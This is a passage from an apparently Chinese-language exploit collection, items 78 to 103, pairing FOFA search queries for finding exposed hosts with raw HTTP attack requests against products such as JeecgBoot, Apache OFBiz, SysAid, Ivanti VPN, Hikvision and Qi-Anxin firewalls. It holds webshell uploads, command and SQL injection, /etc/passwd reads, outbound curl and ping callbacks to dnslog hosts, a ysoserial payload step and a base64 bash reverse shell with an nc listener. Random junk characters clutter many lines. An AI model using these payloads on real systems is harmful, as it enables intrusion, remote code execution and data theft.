6 A, t( f( Q% k: pHost: x.x.x.x
' _  L* o+ z4 L. m  o4 fUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Connection: close
Content-Length: 433
Accept: */*
Accept-Encoding: gzip, deflate
" P4 x# ^' b. S; p& zAccept-Language: zh-CN,zh;q=0.9
. Z; j# n8 v" z2 r* TContent-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix

------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="folder"

& G  X% B8 i; B# }  I& d, j& c$ D- r/upload/udplog
------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="Filedata"; filename="1.aspx"
6 W+ D; a- Q' j/ f) qContent-Type: application/octet-stream

hello1234567
8 f8 L9 q# \( t" c- `------------398jnjVTTlDVXHlE7yYnfwBoix
2 N* Y$ |3 M' A5 H3 G0 KContent-Disposition: form-data; name="Upload"

# X3 v8 v3 D, z. y6 {* S9 DSubmit Query
) S4 t0 S( i6 F# x% B------------398jnjVTTlDVXHlE7yYnfwBoix--


78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
FOFA：icon_hash="2001627082"
POST /Platform/System/FileUpload.ashx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
8 @' f! b. ]; j2 FContent-Length: 336
1 ^; n2 w9 [- X' j, B/ ^Accept-Encoding: gzip
9 l7 C, Y/ H' X5 v  v  U, g" }Content-Type: multipart/form-data; boundary=----YsOxWxSvj1KyZow1PTsh98fdu6l
! V! m* {, @+ N
. r4 ?/ T- F; d* H' x7 x------YsOxWxSvj1KyZow1PTsh98fdu6l
$ Y% n% d/ |+ SContent-Disposition: form-data; name="file"; filename="YsOxWxSvj1KyZow1PTsh98fdu6l.txt"
Content-Type: image/png
  T, M. F% Y2 l& S& V: X
YsOxWxSvj1KyZow1PTsh98fdu6l
, m% F' f# @( E9 X' ]7 Y2 g------YsOxWxSvj1KyZow1PTsh98fdu6l
Content-Disposition: form-data; name="target"
4 B% G- Q/ e( E6 \/ x4 v$ G
& W5 q& F  t) Q' J0 n5 v1 `9 r/Applications/SkillDevelopAndEHS/
% R$ o) ?4 U4 D5 I3 T4 u------YsOxWxSvj1KyZow1PTsh98fdu6l--


6 s! y% z& ~* z4 C# G6 |GET /Applications/SkillDevelopAndEHS/YsOxWxSvj1KyZow1PTsh98fdu6l.txt HTTP/1.1
  a$ l( W& Q6 O7 x2 DHost: x.x.x.x

# `9 y! z- X6 n0 m/ t; f. v8 Y8 ?
79. BYTEVALUE 百为流控路由器远程命令执行
FOFA：BYTEVALUE 智能流控路由器
) @% V* F! a/ L8 J" iGET /goform/webRead/open/?path=|id HTTP/1.1
Host:IP
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
  V2 l3 ?3 P' X% SConnection: close
Upgrade-Insecure-Requests: 1
5 A; G7 G+ I( C' l2 N
, ^/ l5 D2 G, m) B
" _: O6 {& b# M. t7 ^80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
FOFA：app="速达软件-公司产品"
POST /report/DesignReportSave.jsp?report=../xykqmfxpoas.jsp HTTP/1.1
+ E/ z" Q) c8 ^) }Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 27
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
9 i0 j1 m+ q# [/ N7 z* qAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
9 [! ]) C+ I' ZContent-Type: application/octet-stream
Upgrade-Insecure-Requests: 1

<% out.print("oessqeonylzaf");%>
6 m, A; U0 t" }5 j$ H5 ?
) l3 P3 P$ |" G. p- h
GET /xykqmfxpoas.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
& O. K& H9 q+ H) L3 E2 {Accept-Encoding: gzip


8 ^# p7 y1 m! M6 Q81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
) E( @- `+ [* O' f. B- p+ FFOFA：app="uniview-视频监控"
GET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} HTTP/1.1
9 E$ ~: J! G& i+ Q9 qHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
3 L5 @4 M: t  a+ ~" k' ?Connection: close
$ W! l, B- B, Q& }* T" m( N5 H" M% XAccept-Encoding: gzip
( X) }6 ~! G) |, R1 U: A9 D
8 D4 c$ j- u. j  T/ ~0 v
82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
$ L: i( [2 ^* bFOFA：app="思福迪-LOGBASE"
1 E; V  b0 M: K$ x) z& zPOST /bhost/test_qrcode_b HTTP/1.1
Host: BaseURL
User-Agent: Go-http-client/1.1
Content-Length: 23
  J  m1 o$ }3 D: tAccept-Encoding: gzip
Connection: close
, |# w( w: C# _* S, x2 E4 OContent-Type: application/x-www-form-urlencoded
Referer: BaseURL

z1=1&z2="|id;"&z3=bhost
2 z" _& s6 z1 i( d7 T' ?
9 ?' {1 T0 z! y" P. N" q
83. JeecgBoot testConnection 远程命令执行
3 \' k) g+ }8 K& t( jFOFA：title=="JeecgBoot 企业级低代码平台"


POST /jmreport/testConnection HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 8881
Accept-Encoding: gzip
8 W0 l' D$ }0 @* tCmd: echo "2ZTvHsq4au3uOQ2mK9OuJb86rdO"
Content-Type: application/json
  w' p$ s7 Z9 o+ F; _3 h
! a& L0 h% p  v( NPAYLOAD

4 D( B) u! N. n3 l% \84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
FOFA：title=="JeecgBoot 企业级低代码平台"


; Z; k) U" ^0 _, V# S; w3 B1 X+ j
' V. J8 ]: ]- V+ F4 o% RPOST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
7 u& ~" _# h1 XHost: 192.168.40.130:8080
User-Agent: curl/7.88.1
Content-Length: 156
4 y; h  `' E* O% `7 a! xAccept: */*
Connection: close
+ [2 ~( q6 X5 }4 J- K+ |Content-Type: application/json
# c1 r% o& I% y7 f! Q2 Y  hAccept-Encoding: gzip

{
"sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://ip.port.kr9dqoau.dnslog.pw/`whoami\")}",
  "type": "0"
}
+ a+ q! w7 P$ s
. l$ Z5 R, W+ o$ |; K1 |
; W5 d* D$ n% p! M  l( N4 |85. SysAid On-premise< 23.3.36远程代码执行
CVE-2023-47246
FOFA：body="sysaid-logo-dark-green.png"
EXP数据包如下，注入哥斯拉马
! R8 s0 u# ?, Y, }" dPOST /userentry?accountId=../../../tomcat/webapps&symbolName=LDAP_REFRESH_ HTTP/1.1
Host: x.x.x.x
: c# n% j. d, s. S+ U+ R! y- y7 hUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/octet-stream
0 n- m* _: r% h* I" B! }Accept-Encoding: gzip

PAYLOAD
3 `8 R3 g# z1 Z- o( |6 y4 N
回显URL：http://x.x.x.x/userfiles/index.jsp

86. 日本tosei自助洗衣机RCE
# }5 N& H* r+ i& K! [9 IFOFA：body="tosei_login_check.php"
POST /cgi-bin/network_test.php HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
3 D. Q$ p  e, Z4 ?; O4 B$ l& [& QContent-Length: 44
Accept: */*
2 V3 ]7 b1 I3 ]' z! `Accept-Encoding: gzip
3 B; D* R' n1 |- V) TAccept-Language: en
) r; k4 E9 }( C; HContent-Type: application/x-www-form-urlencoded
. W) ~: n# y$ G6 }* J+ N( l
9 }4 g- d; h( F3 O: i0 rhost=%0acat${IFS}/etc/passwd%0a&command=ping
9 q4 Z6 s6 M- P7 z* X9 L
, ^% M4 E$ S+ `) S; m5 ~% t
87. 安恒明御安全网关aaa_local_web_preview文件上传
/ [) h" B: g4 E. K$ C* F( a  t. @* dFOFA：title="明御安全网关"
POST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../jfhatuwe.php HTTP/1.1
- N1 `4 z4 @0 K0 J, C6 J& zHost: X.X.X.X
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 198
Accept-Encoding: gzip
Content-Type: multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd
) J; _) y  g2 w( B4 H
--qqobiandqgawlxodfiisporjwravxtvd
5 ?% y4 [7 `$ l: J: U! L$ GContent-Disposition: form-data; name="123"; filename="9B9Ccd.php"
& O) H: K# W7 A2 N! cContent-Type: text/plain

4 @- f7 D  D8 s2ZqGNnsjzzU2GBBPyd8AIA7QlDq
& e3 F, Z- E% q4 v--qqobiandqgawlxodfiisporjwravxtvd--
7 Z) ]& J2 Q4 r/ R) Q4 y
, ?& m$ e0 j, H# }: t3 b: Y
7 W' W2 \/ M+ Q4 m' ]% E/jfhatuwe.php

88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
FOFA：title="明御安全网关"
5 T( y! V& M& ?$ ]/ C1 J4 DGET /webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22assdwdmpidmsbzoabahpjhnokiduw%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2Ftxzfsrur.php%0a HTTP/1.1
Host: x.x.x.xx.x.x.x
/ G+ l# M1 q# a" w; }/ E+ ?0 H: fUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
$ T) A1 ^2 I2 c8 ?Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close


: b! b- ~" K3 E0 H# `4 S/astdfkhl.php

89. 致远互联FE协作办公平台editflow_manager存在sql注入
: n+ N" G# ]  \FOFA：title="FE协作办公平台" || body="li_plugins_download"
POST /sysform/003/editflow_manager.js%70 HTTP/1.1
1 p# W( R1 @9 o4 SHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
5 ^% r6 h2 W" g: c1 wContent-Length: 41
2 o* H0 R/ @  o5 G* N0 DContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
# N8 e$ [! b8 i
option=2&GUID=-1'+union+select+111*222--+
* h9 y4 i2 P8 D+ _

/ @2 I' C9 l9 Y- u0 o8 m; p90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
' n  l; |6 h/ K- Y: _5 h& y: S- ZFOFA：icon_hash="-1830859634"
  b; `' C$ ]4 TPOST /php/ping.php HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Content-Length: 51
Accept: application/json, text/javascript, */*; q=0.01
9 U% s& W2 B% G7 `& J5 e5 t& M3 ]Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
/ v" a* S( U2 E! u& E9 O" tContent-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
6 [% p' m/ V, [9 R
jsondata%5Btype%5D=99&jsondata%5Bip%5D=ipconfig


% T) x$ p3 p- x! }% R+ W  `9 L; U91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
2 ^+ R! B6 E. k" j3 H, kFOFA：title="综合安防管理平台"
( ]1 B7 A2 h: _! ?) ~; lGET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
. q' w) N& r# D$ B! f# fAccept-Encoding: gzip, deflate
6 k: ]* c7 h/ W* O0 jAccept: */*
- f. ^# h4 j% w( h8 a' XConnection: keep-alive
' }, F6 M! G& _, j; H! l+ p4 i# k

( R" q5 {  Y% R! }( m3 X3 _
$ A# G3 h+ v' N92. 海康威视运行管理中心session命令执行
! C8 W# D4 {, B  V3 QFastjson命令执行
hunter：web.icon=="e05b47d5ce11d2f4182a964255870b76"
* b9 d& |5 J) qPOST /center/api/session HTTP/1.1
  u; M0 k. q) w0 l8 jHost:
. q! j1 D9 s4 ?, J2 w0 S8 b/ \5 UAccept: application/json, text/plain, */*
- L) l% Z  Q* ]4 xAccept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
$ c; Y% k# O: q5 R0 T! o1 `Content-Type: application/json;charset=UTF-8
% x2 t/ R' q2 s9 P7 k- `2 y8 tX-Language-Type: zh_CN
Testcmd: echo test
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 5778
$ Y8 g. c% l  t) C4 P. V
PAYLOAD
  o* ^, w5 o& s, z$ d
9 p- s1 ~% Y& d; e# z5 C6 K: b
93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
4 e' D6 Z0 ^& G" `% O* K8 g4 oPOST /?g=app_av_import_save HTTP/1.1
Host: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykcbkgdfx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36

$ b3 F: \0 X. f3 R6 f------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="MAX_FILE_SIZE"
0 M6 S$ d. q  m8 q4 {1 D
10000000
------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="upfile"; filename="xlskxknxa.txt"
Content-Type: text/plain
2 v/ Y, v0 X# K& r
wagletqrkwrddkthtulxsqrphulnknxa
------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="submit_post"

! D+ f+ v+ l$ ?3 [7 k! s9 Aobj_app_upfile
------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="__hash__"

& O: w4 H( S2 J  N+ |2 L7 S% s0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundarykcbkgdfx--

7 b8 k, u8 t8 f+ y+ e
, z0 M$ |8 H  pGET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
) F( t  d, _+ j1 ^0 E8 M
% c6 T+ t$ G* j" a
94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
: I) E- Z" ]: F- y' G3 xFOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
POST /?g=obj_area_import_save HTTP/1.1
Host: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarybqvzqvmt
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36

------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="MAX_FILE_SIZE"

10000000
------WebKitFormBoundarybqvzqvmt
, d- h/ P# T: Y# DContent-Disposition: form-data; name="upfile"; filename="cciytdzu.txt"
Content-Type: text/plain

pxplitttsrjnyoafavcajwkvhxindhmu
------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="submit_post"
/ @7 [5 E  T  o  R( V. e% \
, [# F, D/ O6 F" k1 yobj_app_upfile
& h1 L3 E; V/ L5 Q% b------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="__hash__"
4 x) F9 ~  [; H( Q& Q7 a; b
- B9 g2 g) k7 d% m' @" C3 J5 y0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundarybqvzqvmt--
; L6 r7 o" r: z1 w


1 V, c  I6 m; k# j" c) bGET /attachements/xlskxknxa.txt HTTP/1.1
* H/ n4 M8 N" P& m5 \2 f1 L7 XHost: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
' P; l* q  ~8 z
# p3 z: a, [1 b' R6 }

  ~( n, a9 z: p- G; v5 t' ]3 K. ^; `95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
CVE-2023-49070
FOFA：app="Apache_OFBiz"
! H0 f& a- D( N6 IPOST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
& \9 ]0 g7 a6 W! V& THost: x.x.x.x
* Z/ L) L' ]' v8 X6 vUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
( p/ }- u4 k( Z* t! W  t; @* `Content-Length: 889
5 r& z( H! I1 d  k! ^Content-Type: application/xml
0 m1 v$ h7 w1 l6 x6 lAccept-Encoding: gzip
6 f  M/ L4 N0 ?3 O- ]# r% T7 |
<?xml version="1.0"?>
8 l0 |: \  h$ R# v<methodCall>
   <methodName>2a4UTp2XBzXgziEO3BIFOCbJiI3</methodName>
    <params>
      <param>
      <value>
        <struct>
; q6 R" T1 K" r' M" q5 o       <member>
          <name>test</name>
          <value>
      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload的base64值]</serializable>
          </value>
        </member>
! U$ I# m& C5 a+ t* N0 r- {; j4 }      </struct>
5 s! L7 s$ ]8 U1 b, G. l0 I      </value>
1 A6 e$ t/ T% ?6 H    </param>
: t+ i& o/ l3 Y5 k2 e2 n) X+ Q    </params>
</methodCall>


+ \, a4 y: |, n6 v用ysoserial生成payload
' u( b7 ~- A6 f  z1 q- g. }java -jar ysoserial-all.jar CommonsBeanutils1 "ping 41e87zy3.dnslog.pw" | base64 | tr -d "\n"


$ @' Y( H! |5 o! h& g* b将生成的payload替换到上面的POC
POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
, U2 l* s) b$ I0 y& I( x& w+ W9 wUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
: Z) n, t+ h8 w) q7 Y' G- AConnection: close
* d% x; m- P  y4 N: [Content-Length: 889
Content-Type: application/xml
Accept-Encoding: gzip
' q2 v- s  t1 Y0 |# b
PAYLOAD
# ?9 k  {; Q0 L
96. Apache OFBiz  18.12.11 groovy 远程代码执行
FOFA：app="Apache_OFBiz"
2 p8 G9 a" i( L' ^: A- ~6 C! TPOST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
( `6 i, x9 R  L  z4 d7 L: SHost: localhost:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
* Z% @- O+ H5 vAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
( }4 U2 m& \  @5 D: U; \) BContent-Type: application/x-www-form-urlencoded
Content-Length: 55
- d% z" `. v2 a. Z9 R  R+ V; O
groovyProgram=throw+new+Exception('id'.execute().text);
; @" E$ @7 F: B+ i6 m4 u+ V
' c! S/ U& I+ L1 E3 M9 Y; ]6 _+ K
# V3 I" n" U; v0 A2 ~; P反弹shell
在kali上启动一个监听
nc -lvp 7777
7 P) ^9 }7 f. I1 P" M4 ^
* O. g* z. A. {POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
3 [; i7 H( w' z, bAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 71

, J( r0 n+ K' VgroovyProgram='bash+-c+{echo,YmFzaCUyMC1pJTIwPiYlMjAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOC83Nzc3JTIwMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();

97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
FOFA：body="/assets/js/zhyd.tool.js" || body="OneBlog,开源博客"
GET /passport/login/ HTTP/1.1
8 u% }/ S+ |( P, R6 lHost: 192.168.40.130:8085
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip
Connection: close
Cookie: rememberMe=PAYLOAD
X-Token-Data: echo "2a4MU6FVYI3qR4AWxn1Bdfh6Ttk"

4 J/ X' z/ R1 \8 o5 a& m8 l3 c0 u
98. SpiderFlow爬虫平台远程命令执行
5 E% C- e# }1 O" d1 _4 mCVE-2024-0195
FOFA：app="SpiderFlow"
( I0 b6 D  L) b$ B, \7 SPOST /function/save HTTP/1.1
Host: 192.168.40.130:8088
' n  k% g) z/ x$ mUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
0 W3 y& z7 @0 [$ r& e$ }3 BContent-Length: 121
Accept: */*
' r* ~! y9 a1 E. j. gAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
5 C/ V* F* X2 Q5 JX-Requested-With: XMLHttpRequest
0 }! a' X6 P$ ]. @6 m! ]* D% C
id=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+a4xs0nop.dnslog.pw')%3B%7B


99. Ncast盈可视高清智能录播系统busiFacade RCE
) b# i! H, q- ]; NCVE-2024-0305
8 V9 o# V* p7 D$ V; Y4 Q+ z- RFOFA：app="Ncast-产品" && title=="高清智能录播系统"
POST /classes/common/busiFacade.php HTTP/1.1
& H6 `* S2 V7 Z5 z, j9 i) \7 cHost: 192.168.40.130:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
! a4 z" D. l! S  ^$ n8 |Connection: close
Content-Length: 154
* n; j9 ^) Q* P0 K: W; c! `Accept: */*
Accept-Encoding: gzip, deflate
8 w, n+ {0 h) X+ Q3 e4 P8 WAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
# a2 h" H4 Z" p/ U. OX-Requested-With: XMLHttpRequest

%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20hello%22%5D%7D

  ?1 s& U9 s0 q" i: L; J# ?+ E5 W
2 j0 S6 a2 m8 \+ t) D7 ~, ~+ n# u100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
CVE-2024-0352
FOFA：icon_hash="874152924"
POST /api/file/formimage HTTP/1.1
Host: 192.168.40.130
/ S$ U8 y% a# E+ u$ a0 E0 V. fUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
; \5 _' s: v$ j4 U; |3 WContent-Length: 201
: T- D% A  W; lContent-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
: [) J' S$ j- h. i3 l1 c2 o4 zAccept-Encoding: gzip
  ?$ L0 f' |# O& t& W
------WebKitFormBoundarygcflwtei
- D- {; n8 N/ v/ N- SContent-Disposition: form-data; name="file";filename="IE4MGP.php"
Content-Type: application/x-php

2ayyhRXiAsKXL8olvF5s4qqyI2O
  _" B, [8 @; c3 K------WebKitFormBoundarygcflwtei--

; Q7 f4 S* x: H
/ F. s" x# f) q, \& N5 J7 F101. ivanti policy secure-22.6命令注入
, s3 _; p! z2 N, I) m% K2 {) v; \1 P$ rCVE-2024-21887
FOFA：body="welcome.cgi?p=logo"
GET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20a4xs0nop.dnslog.pw HTTP/1.1
Host: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
: e3 {& u2 N" o4 v; s/ V4 _5 TConnection: close
5 ]4 a4 [% ?( g! n8 DAccept-Encoding: gzip
0 R  {% t3 B, I  t& S

4 s) f7 @3 T% c, ?' @+ v3 v102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
+ `  j- e9 k' y- }CVE-2024-21893
FOFA：body="welcome.cgi?p=logo"
5 d( X. n% P/ ~1 a9 oPOST /dana-ws/saml20.ws HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
9 u' ]! c# N' w. u' @+ i* h# ^Connection: close
Content-Length: 792
% f" W) N) G) m% y  L2 {Accept-Encoding: gzip
: d' f$ x% Z: l6 W5 S* b
$ p0 \; y' n6 j; {( {: E<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>             <ds:Signature           xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                   <ds:SignedInfo>                        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-cc14n#"/>                         <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>                    </ds:SignedInfo>                       <<ds:SignatureValue>qwerty</ds:SignatureValue>                    <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/22000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                         <ds:RetrievalMethod URI="http://kr9dqoau.dnslog.pw"/><<ds:X509Data/>                   </ds:KeyInfo>                  <ds:Object></ds:Object>         </ds:Signature> </soap:Body></soap:Envelope>
! R+ {/ x3 s% B+ V; @/ S
103. Ivanti Pulse Connect Secure VPN XXE
CVE-2024-22024
5 G* G8 N3 f6 u; v0 g+ rFOFA：body="welcome.cgi?p=logo"
3 |9 n4 ?* P5 R- l: T8 M3 N7 I) b2 OPOST /dana-na/auth/saml-sso.cgi HTTP/1.1
/ W' ^" y. z7 @3 d! ?, ?: r  zHost: 192.168.40.130:111
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Connection: close
- K3 b; ]  x- |' jContent-Length: 204
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
& O2 q% ]1 Q) V* ^: X* [% x
8 F* ?" s% s5 [6 o6 M' _2 X$ N7 NSAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vYzJ2a2J3YnMuZG5zbG9nLnB3L3giPiAld2F0Y2hUb3dyO10+PHI+PC9yPg==

- w" C- v% Y% X; E9 g, h4 v
/ m$ j4 }- C) G% C4 s6 l$ x3 F( H其中SAMLRequest的值是xml文件内容的base64值，xml文件如下
